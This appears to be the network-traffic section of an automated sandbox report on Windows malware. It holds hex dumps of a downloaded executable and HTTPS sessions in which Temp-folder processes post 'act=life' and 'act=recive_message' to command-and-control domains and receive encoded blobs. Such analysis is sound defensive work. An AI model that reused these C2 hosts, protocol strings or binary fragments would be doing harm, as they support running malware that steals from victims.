10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g0J@`Ji@T0h 1 H@.rsrc X@.idata 0Z@ *@\@xnuzvlhe0/.^@tzuttanx J@.taggant00J"@
Dec 20, 2024 11:13:04.938574076 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:13:04.938625097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:13:04.938678980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:13:04.938714981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:13:04.938771009 CET	672	IN	Data Raw: bb b0 e8 25 48 d8 e8 54 62 24 db 18 18 8f 0a ea 11 a8 c4 3a a5 18 d2 54 13 51 6f f9 c6 0e 61 47 fe c3 52 f2 60 cb 07 c0 dd cf 89 a0 a5 34 fc f6 a5 6a 7e 10 f9 e6 c2 d0 25 5e 06 0d 64 47 a1 1c 82 52 9c 42 fd 96 87 7d 7d 1d f0 dc bb 90 07 ec 9c be Data Ascii: %HTb$:TQoaGR`4j~%^dGRB}}<J'4^RBLVI.@wxcO?@vFW]8m\;\|$6=SIQGp<#4aOp?Gz6&]+-On'fU
Dec 20, 2024 11:13:04.938807011 CET	1236	IN	Data Raw: 8c 15 68 d8 93 b4 35 a8 16 58 d6 23 5c fe 2f 10 20 50 20 3d fa c9 e1 58 f4 4c 5e 81 e7 32 1b 04 25 90 80 ef d9 28 2b fe 62 35 63 c8 e5 20 d4 dc 0f b4 c5 68 a4 54 2a fc 79 9c 4e 05 74 34 5a 3b 91 21 cb 70 75 18 5e f9 95 2f 01 cc a0 3c b6 0a 38 48 Data Ascii: h5X#\/ P =XL^2%(+b5c hT*yNt4Z;!pu^/<8HjQ!}XmjQgSMf_{-i}/{">l`Rd!.#Y3.,~m$Q'G<mV POlQ6xsp0R1: <7Q
Dec 20, 2024 11:13:04.938915014 CET	224	IN	Data Raw: eb 08 de 74 37 5f 96 d0 ec c0 82 57 da 1c 4b 71 c1 9f 17 e3 28 1f 22 82 b6 99 4c 20 be 2d ae 3c 32 38 3b ba ef c5 35 24 76 69 ab 77 ec 85 2f 73 7f 33 0a bb 50 b0 5d d1 9b b5 23 dc d4 22 57 2b 60 74 4e 31 b4 9a fc 4d e0 51 77 c0 93 7f 5a 09 e5 35 Data Ascii: t7_WKq("L -<28;5$viw/s3P]#"W+`tN1MQwZ56x.kde!%pYTgb&])xrtHf9m}u-^U.tvW'CU\w@Xd=a@mY%9x
Dec 20, 2024 11:13:04.938946962 CET	1236	IN	Data Raw: 64 80 2c 49 b6 2c 00 d3 d3 65 4e 38 c9 50 06 f7 7b 3d a1 73 f8 5a af 84 37 4e 63 bf 3b ae d1 16 2a 5b e5 10 8c 9e c8 e2 5a d3 70 92 52 42 4d ed 33 56 fc 87 e3 49 15 09 a6 bc ba 95 e9 d1 61 ca 99 36 d0 18 f0 3d be c8 57 2d 96 f7 6a cb 71 db ce 68 Data Ascii: d,I,eN8P{=sZ7Nc;*[ZpRBM3VIa6=W-jqhKp[~qnv,(!#{KSqfst=71[l;}REMqSE<`U5sNl?i%:8uGV^Ov[sjl .
Dec 20, 2024 11:13:04.938982010 CET	224	IN	Data Raw: ea 23 86 3d bb 86 36 8e 46 42 9a 16 16 5a 2a 28 fb 48 4f 70 c1 a0 62 73 92 13 55 09 b1 05 cc 5d 50 bf 03 e6 db a4 a4 19 29 17 1d 3a ff 2e a0 ca 37 48 46 e8 74 1d fc 55 85 1d 9d e0 15 6c 9e 1a 7a 50 27 26 a2 75 52 40 f5 82 36 12 7c 5a 02 73 36 68 Data Ascii: #=6FBZ(HOpbsU]P):.7HFtUlzP'&uR@6\|Zs6hSx)7ea'4jM#<b^qU-\|*<-raz8af5/)PWh'=+M"6VD%Iuv35R,syrz[1g;
Dec 20, 2024 11:13:05.066222906 CET	1236	IN	Data Raw: 64 d2 a2 d5 c2 92 2b bb fd 27 b3 ec fd 7c 3e 1f 68 04 07 bc 6a cc e9 40 d4 9c 50 1c 5b d9 4c ec 49 56 05 11 60 d4 30 e8 7d 0c 2a 75 80 ec 82 cd 34 74 80 ad e3 9c 3d 52 81 5d a2 da c9 37 30 7b b4 2c 39 43 1d 29 96 e7 8f 58 93 d0 4d 55 ba 96 aa e4 Data Ascii: d+'\|>hj@P[LIV`0}u4t=R]70{,9C)XMUn]c3.b<5k$\7ma(\|_F/eE)/^M^QLn5I'?"{rkzZ+;2_s`^WCNyRR#[\L u-#zpaqT'#16

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49957	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:13:08.805396080 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 20, 2024 11:13:09.891697884 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 19 Dec 2024 13:54:49 GMT Age: 73100 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 20, 2024 11:13:19.930917025 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 20, 2024 11:13:30.134068012 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 20, 2024 11:13:40.321691990 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49787	172.67.131.246	443	5000	C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:19 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lossekniyyt.click
2024-12-20 10:12:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 10:12:20 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4ibud9fa8116tnuc649q4hgqi3; expires=Tue, 15 Apr 2025 03:58:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Q3nfRWzOMzhy5OcqFoPquZOP2N60mHEA41yW03s49SKJqBXadssDxRW8mbcVVSnBz%2B8Wut81l74xER7JW%2B3NwdqK%2FwGYsFsg6GTqGDPSrPLlh%2FsgQUtAGcdNvgqaNxz28Tdpw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4eda761d8f8ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1977&min_rtt=1945&rtt_var=793&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=908&delivery_rate=1326669&cwnd=168&unsent_bytes=0&cid=444023a7c0ecebff&ts=768&x=0"
2024-12-20 10:12:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 10:12:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49814	172.67.197.170	443	7540	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:28 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 10:12:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 10:12:29 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=avc1f1nspec4c5bvfdiv12o24f; expires=Tue, 15 Apr 2025 03:59:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HycsEcX7wSRXeBfh3RI3CpZp2v%2FoRrdN2yO3%2BRWYyVGi35RLxY8yOO%2BiE0zdx7xPDiASMIPMki7yu1xbvgdq30jIxRxg95SBg9JVwbIJkIvFItGnl2Fblwr3QAVMr1jZ%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edaaf38e642aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1764&min_rtt=1763&rtt_var=664&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=905&delivery_rate=1645070&cwnd=195&unsent_bytes=0&cid=dbe3fc60429374f0&ts=756&x=0"
2024-12-20 10:12:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 10:12:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49847	172.67.197.170	443	7932	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:39 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 10:12:39 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 10:12:40 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=98hl1ei5bi1sp9v9ggjjhke91f; expires=Tue, 15 Apr 2025 03:59:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GzwqtNN1p50G4Y2jbypEuTdVTo7TeHHYL3ll%2F%2BwzPBptsoTD2FQnYSPqY5j1UafcQQgrCIYIOijxqZJgPXevAfeYzK%2FUk8VzWqdtaTIGqjngrmLoLq%2FxWbPVzvXhMVZ5hQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edaf75f8fc325-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1515&min_rtt=1513&rtt_var=573&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=905&delivery_rate=1902280&cwnd=252&unsent_bytes=0&cid=9206fc48a643bf62&ts=760&x=0"
2024-12-20 10:12:40 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 10:12:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49853	172.67.197.170	443	7932	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:41 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: discokeyus.lat
2024-12-20 10:12:41 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-20 10:12:42 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9gr45ffqjke9qq63jooktiv1sv; expires=Tue, 15 Apr 2025 03:59:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BiY4EXk83bW1QgzrCRRI%2FV9DIi6SJJjuiYTTcNeIDP14%2BgH1Ssg0lMA9vWis2uKcHxDPNpbCBh%2B94eUXlDjz29tGCjVxL6MXtp3U5dJe0Ujf9g%2FK9IEhNeablcPKTm1htA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb03aae343da-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1750&min_rtt=1747&rtt_var=662&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=945&delivery_rate=1643218&cwnd=203&unsent_bytes=0&cid=f82e355a0ebd649c&ts=790&x=0"
2024-12-20 10:12:42 UTC	240	IN	Data Raw: 63 35 32 0d 0a 44 46 53 37 58 31 56 32 48 47 6d 54 74 68 67 47 6a 69 47 38 58 55 47 64 76 57 68 6d 6c 31 6b 71 61 51 52 41 2f 78 45 50 47 49 78 33 64 73 31 39 62 30 49 77 53 2b 44 54 4f 6a 7a 36 55 38 6b 34 62 62 2f 63 44 45 53 74 50 30 73 46 64 79 58 54 4d 33 6c 31 72 6a 59 79 32 6a 4d 6d 45 7a 42 4c 39 73 34 36 50 4e 56 61 6e 6a 67 76 76 34 64 4b 41 2f 30 37 53 77 56 6d 49 5a 52 2b 66 33 54 76 5a 44 6a 63 4e 7a 41 56 65 41 6a 2f 32 33 31 6a 36 30 44 57 4d 79 6a 77 31 51 56 45 75 33 74 50 45 79 5a 36 33 56 78 71 62 4f 31 42 4e 63 67 30 64 77 73 77 45 72 48 54 64 69 53 30 41 39 30 34 49 2f 48 62 44 41 33 2f 4d 55 49 4e 5a 79 53 56 59 57 5a 2b 35 47 51 32 33 7a 59 36 48 47 77 46 39 64 78 32 5a 65 46 41 6e 6e 46 Data Ascii: c52DFS7X1V2HGmTthgGjiG8XUGdvWhml1kqaQRA/xEPGIx3ds19b0IwS+DTOjz6U8k4bb/cDEStP0sFdyXTM3l1rjYy2jMmEzBL9s46PNVanjgvv4dKA/07SwVmIZR+f3TvZDjcNzAVeAj/231j60DWMyjw1QVEu3tPEyZ63VxqbO1BNcg0dwswErHTdiS0A904I/HbDA3/MUINZySVYWZ+5GQ23zY6HGwF9dx2ZeFAnnF
2024-12-20 10:12:42 UTC	1369	IN	Data Raw: 6a 2b 4d 64 4b 58 4c 56 6f 65 67 68 33 4d 34 68 2b 66 58 79 75 63 58 6a 41 66 54 41 59 50 6c 4f 78 33 48 5a 71 36 55 44 52 4f 43 4c 2f 7a 51 55 45 39 6a 4e 41 44 32 77 74 6b 6e 78 6a 63 4f 6c 6d 50 39 34 79 4d 42 78 34 42 50 4b 55 4e 43 54 72 57 35 35 6e 59 39 2f 50 43 51 66 68 4e 6c 6c 4c 65 57 79 45 4d 32 70 32 72 6a 5a 32 33 7a 4d 32 47 58 34 5a 2b 64 39 78 59 66 35 49 31 7a 49 75 2f 39 49 41 43 2f 59 37 54 77 46 73 4c 5a 64 33 59 48 66 6f 62 6a 61 5a 63 33 63 54 5a 6b 75 70 6c 46 6c 68 2f 45 54 53 4b 57 48 46 6e 78 56 4b 37 48 74 50 42 79 5a 36 33 58 74 6f 65 65 31 6c 4f 64 6f 31 50 41 5a 2b 47 66 66 5a 66 33 62 71 52 74 41 31 49 4f 33 56 42 41 4c 32 4d 6b 4d 43 59 79 57 5a 4d 79 4d 36 36 58 5a 32 67 58 30 57 47 58 55 48 2b 38 4e 36 4a 50 4d 4e 78 33 Data Ascii: j+MdKXLVoegh3M4h+fXyucXjAfTAYPlOx3HZq6UDROCL/zQUE9jNAD2wtknxjcOlmP94yMBx4BPKUNCTrW55nY9/PCQfhNllLeWyEM2p2rjZ23zM2GX4Z+d9xYf5I1zIu/9IAC/Y7TwFsLZd3YHfobjaZc3cTZkuplFlh/ETSKWHFnxVK7HtPByZ63Xtoee1lOdo1PAZ+GffZf3bqRtA1IO3VBAL2MkMCYyWZMyM66XZ2gX0WGXUH+8N6JPMNx3
2024-12-20 10:12:42 UTC	1369	IN	Data Raw: 41 41 4c 36 4e 6b 52 4c 4b 47 4b 61 61 79 30 69 72 6b 51 31 7a 54 34 39 56 6b 73 49 2f 39 70 39 63 71 78 63 6b 43 5a 6a 2b 4e 4e 4b 58 4c 55 32 53 51 4e 67 4d 4a 4a 2b 62 6e 54 67 59 54 50 57 4e 54 63 55 63 77 37 31 33 33 46 6e 34 55 66 4d 4e 53 50 33 32 67 73 4f 2f 33 73 47 53 32 45 36 33 53 73 74 53 2f 6c 6c 64 4f 77 2b 4f 52 70 35 48 62 48 4c 4e 48 32 73 52 4e 4a 2f 65 37 2f 53 41 67 48 77 4e 45 6b 42 61 43 65 58 66 32 56 30 37 58 77 35 33 54 30 37 48 48 51 47 2f 39 42 79 62 65 64 49 32 44 38 69 39 5a 39 45 52 50 49 6a 43 46 4d 6d 46 70 70 2f 59 48 57 73 57 7a 58 58 4d 7a 41 43 50 68 53 2f 7a 54 70 6a 34 41 4f 47 66 79 2f 32 33 77 45 4f 38 54 74 50 42 6d 4d 68 6d 6e 42 67 66 65 52 67 4d 64 30 78 50 68 6c 34 43 2f 62 51 66 33 62 70 53 74 49 7a 59 37 47 Data Ascii: AAL6NkRLKGKaay0irkQ1zT49VksI/9p9cqxckCZj+NNKXLU2SQNgMJJ+bnTgYTPWNTcUcw7133Fn4UfMNSP32gsO/3sGS2E63SstS/lldOw+ORp5HbHLNH2sRNJ/e7/SAgHwNEkBaCeXf2V07Xw53T07HHQG/9BybedI2D8i9Z9ERPIjCFMmFpp/YHWsWzXXMzACPhS/zTpj4AOGfy/23wEO8TtPBmMhmnBgfeRgMd0xPhl4C/bQf3bpStIzY7G
2024-12-20 10:12:42 UTC	183	IN	Data Raw: 6e 56 52 53 32 45 75 33 53 73 74 63 2b 64 38 4f 4e 63 30 4f 68 4a 32 44 50 2f 5a 63 57 4c 6e 52 4e 6b 35 4c 76 66 53 44 77 66 30 50 30 49 5a 5a 53 6d 58 66 6d 63 36 6f 43 34 78 77 58 31 76 56 46 6b 48 32 4d 52 68 64 76 6f 44 77 58 45 36 76 39 67 47 52 4b 31 37 53 77 52 76 4c 5a 56 37 59 6e 58 71 59 44 44 66 4d 44 49 62 64 42 6e 35 32 6e 64 76 34 30 6a 4d 50 79 37 37 30 77 34 4d 2f 6a 45 49 52 53 59 6c 68 54 4d 31 4f 74 74 6a 4f 64 6b 2b 49 56 52 68 52 65 69 55 66 57 69 73 47 35 34 7a 4c 66 2f 51 42 67 6a 2b 4d 30 6b 48 61 43 57 59 65 6d 0d 0a Data Ascii: nVRS2Eu3Sstc+d8ONc0OhJ2DP/ZcWLnRNk5LvfSDwf0P0IZZSmXfmc6oC4xwX1vVFkH2MRhdvoDwXE6v9gGRK17SwRvLZV7YnXqYDDfMDIbdBn52ndv40jMPy770w4M/jEIRSYlhTM1OttjOdk+IVRhReiUfWisG54zLf/QBgj+M0kHaCWYem
2024-12-20 10:12:42 UTC	1369	IN	Data Raw: 33 63 63 61 0d 0a 56 79 2f 47 38 79 30 54 77 35 47 33 38 50 39 4e 46 2b 59 2b 68 46 30 58 39 74 76 39 67 53 52 4b 31 37 5a 79 78 54 59 4c 78 4a 4c 57 57 67 64 33 62 65 4d 58 64 4d 50 67 66 79 32 48 4a 72 36 6b 72 53 4e 53 72 30 30 77 45 41 2b 54 4a 4e 44 57 63 6e 6d 48 4a 70 64 75 52 6f 4e 64 6f 79 4f 42 74 32 53 37 2b 55 66 58 79 73 47 35 34 61 4e 50 54 52 44 45 54 71 64 56 46 4c 59 53 37 64 4b 79 31 32 35 32 67 77 33 44 45 32 45 6e 59 4f 2b 64 42 37 59 75 70 41 30 54 73 6d 2f 74 41 4f 43 50 73 78 53 51 70 71 4b 5a 4a 34 61 44 71 67 4c 6a 48 42 66 57 39 55 54 77 6a 6e 77 32 70 6f 72 46 79 51 4a 6d 50 34 30 30 70 63 74 54 70 61 41 57 77 73 6d 48 78 6f 65 65 46 70 4f 39 38 78 50 52 31 32 44 66 37 64 61 47 66 67 54 64 6b 78 4c 2f 48 53 41 41 66 34 65 77 5a Data Ascii: 3ccaVy/G8y0Tw5G38P9NF+Y+hF0X9tv9gSRK17ZyxTYLxJLWWgd3beMXdMPgfy2HJr6krSNSr00wEA+TJNDWcnmHJpduRoNdoyOBt2S7+UfXysG54aNPTRDETqdVFLYS7dKy1252gw3DE2EnYO+dB7YupA0Tsm/tAOCPsxSQpqKZJ4aDqgLjHBfW9UTwjnw2porFyQJmP400pctTpaAWwsmHxoeeFpO98xPR12Df7daGfgTdkxL/HSAAf4ewZ
2024-12-20 10:12:42 UTC	1369	IN	Data Raw: 6e 52 6d 63 75 56 68 4d 4d 73 78 4f 51 5a 37 47 65 4f 55 4e 43 54 72 57 35 35 6e 59 38 6e 59 47 68 54 32 65 58 6b 64 5a 54 53 57 66 6d 45 36 38 53 41 76 6d 54 6f 37 56 43 5a 4c 39 39 74 7a 5a 2b 4e 43 31 7a 4d 75 2b 74 59 50 42 66 4d 2f 51 67 46 6d 4a 4a 74 79 61 48 44 74 62 7a 7a 51 4f 6a 38 54 66 52 6d 78 6d 6a 70 6a 39 41 4f 47 66 77 72 34 7a 51 51 55 74 53 51 47 45 69 59 6c 6b 54 4d 31 4f 75 70 6b 4f 64 30 36 4f 78 4a 37 44 66 7a 56 64 57 58 73 54 4e 6f 30 4b 76 6e 65 42 77 48 34 50 31 6f 42 62 53 32 52 65 6d 46 33 72 69 42 32 33 69 56 33 54 44 34 36 2f 4e 70 30 59 2f 6f 44 77 58 45 36 76 39 67 47 52 4b 31 37 53 51 64 70 49 5a 4a 77 62 6e 76 6b 66 43 54 56 4e 44 38 52 63 67 44 2f 30 6d 68 69 34 30 72 64 50 43 72 34 31 77 59 4f 39 6a 77 49 52 53 59 6c Data Ascii: nRmcuVhMMsxOQZ7GeOUNCTrW55nY8nYGhT2eXkdZTSWfmE68SAvmTo7VCZL99tzZ+NC1zMu+tYPBfM/QgFmJJtyaHDtbzzQOj8TfRmxmjpj9AOGfwr4zQQUtSQGEiYlkTM1OupkOd06OxJ7DfzVdWXsTNo0KvneBwH4P1oBbS2RemF3riB23iV3TD46/Np0Y/oDwXE6v9gGRK17SQdpIZJwbnvkfCTVND8RcgD/0mhi40rdPCr41wYO9jwIRSYl
2024-12-20 10:12:42 UTC	1369	IN	Data Raw: 33 78 49 43 2b 5a 4f 6a 74 55 4a 6b 76 33 33 58 78 6a 36 6b 33 4d 4f 69 58 77 30 41 4d 4e 38 54 4e 4c 43 32 49 6d 6d 6e 5a 75 64 75 56 70 4e 64 59 35 50 68 70 33 42 4c 47 61 4f 6d 50 30 41 34 5a 2f 41 75 54 63 42 67 6d 31 4a 41 59 53 4a 69 57 52 4d 7a 55 36 34 6d 41 7a 32 54 63 78 45 48 73 4e 2b 39 46 36 62 2b 39 4d 32 6a 6b 6e 38 4e 38 42 44 66 51 39 54 51 46 74 4a 4a 42 77 61 33 79 75 49 48 62 65 4a 58 64 4d 50 69 76 71 32 58 5a 6a 72 46 79 51 4a 6d 50 34 30 30 70 63 74 54 42 45 44 32 45 69 6b 48 42 6c 66 2b 70 6b 4d 39 6b 31 4a 52 78 2b 44 4f 50 47 65 6d 33 70 54 39 30 2f 4a 2f 6e 57 44 41 66 78 65 77 5a 4c 59 54 72 64 4b 79 31 58 34 6d 6b 66 33 69 5a 33 43 7a 41 53 73 64 4e 32 4a 4c 51 44 33 7a 51 70 38 4e 49 4a 41 76 59 77 54 51 46 6e 4a 5a 56 2b 66 Data Ascii: 3xIC+ZOjtUJkv33Xxj6k3MOiXw0AMN8TNLC2ImmnZuduVpNdY5Php3BLGaOmP0A4Z/AuTcBgm1JAYSJiWRMzU64mAz2TcxEHsN+9F6b+9M2jkn8N8BDfQ9TQFtJJBwa3yuIHbeJXdMPivq2XZjrFyQJmP400pctTBED2EikHBlf+pkM9k1JRx+DOPGem3pT90/J/nWDAfxewZLYTrdKy1X4mkf3iZ3CzASsdN2JLQD3zQp8NIJAvYwTQFnJZV+f
2024-12-20 10:12:42 UTC	1369	IN	Data Raw: 34 6d 53 39 33 54 44 35 4d 38 73 5a 6f 59 75 39 56 33 58 67 64 77 66 67 63 44 76 49 72 54 78 78 70 59 74 4d 7a 59 6a 71 32 56 33 62 51 4f 69 77 46 61 41 62 68 30 7a 70 62 6f 67 50 47 66 33 75 2f 36 67 6b 4b 2b 7a 78 65 47 69 73 46 69 33 6c 71 61 75 6c 35 4f 5a 6c 7a 64 78 49 2b 55 36 4b 61 4f 6d 44 39 41 34 5a 76 63 61 53 4b 57 56 4f 6c 61 56 64 46 66 32 4b 4c 4d 7a 55 6f 6f 43 34 6b 6d 57 56 33 55 33 30 5a 34 39 4a 35 63 75 38 45 34 41 45 45 35 64 49 4d 45 2b 51 46 64 67 78 38 4c 35 74 6b 66 44 62 37 62 54 6a 58 4f 69 46 55 4d 45 76 2b 6c 43 4a 64 72 41 75 65 41 47 32 2f 78 30 70 63 74 51 35 4c 42 57 67 6c 69 32 49 67 58 66 52 6a 4d 4d 34 73 64 31 6f 2b 44 62 47 4d 4b 69 71 73 52 38 39 2f 65 36 2b 